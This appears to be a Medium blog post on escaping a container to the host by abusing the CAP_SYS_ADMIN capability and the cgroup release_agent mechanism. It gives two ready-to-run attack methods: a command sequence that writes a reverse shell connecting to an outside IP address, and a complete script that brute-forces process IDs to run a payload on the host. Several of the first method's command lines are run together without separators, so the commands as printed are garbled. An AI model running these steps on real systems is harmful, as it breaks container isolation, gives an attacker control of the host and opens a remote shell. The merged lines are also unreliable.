Container breakout: CAP_SYS_ADMIN via Creating a cgroup and using unshare utility

  1. We need to be root inside container.
  2. CAP_SYS_ADMIN capability should be there.
  3. Container filesystem should not be mount as read only
  4. We should be able to find any valid path within host filesystem to access container files.(alternative below)

First Way(Finding host filesystem path via /etc/mtab file)-

capa=`cat /proc/1/status | grep -i 'CapEff' | awk '{print $2}'`; capsh --decode=$capa
mkdir /tmp/cgrpmount -t cgroup -o memory cgroup /tmp/cgrpmkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_releasehost_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtabecho "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/9.42.116.123/443 0>&1" >> /cmd
chmod a+x /cmdsh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Second Way(using bruteforcing to find proccess id which inturn gives relative path to host file system)

  1. Create a file within a container root.
185436
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if
[ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi

# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

Geek👾. Tries to understand how computers work. Would love to hear your suggestions and feedbacks. https://www.linkedin.com/in/pswalia2u/

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

CRODO — Reference program and related rewards:

Using Devise with Gmail, SendGrid, Rails and Heroku: Tips to save time debugging

The quickstart guide to financial coding with Python

TrainerDay is Growing Up — Welcome TrainerDay

GSoC 2020: Week 8 experience

Networking Tools and Collectg

Find The Needles: Python Version

6 Things To Consider While Building a Great Mobile App

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
n00🔑

n00🔑

Geek👾. Tries to understand how computers work. Would love to hear your suggestions and feedbacks. https://www.linkedin.com/in/pswalia2u/

More from Medium

TryHackMe — Jeff

AppSec Tales II | Sign-in

Overpass CTF Walkthrough

Pickle Rick — TryHackMe, WriteUp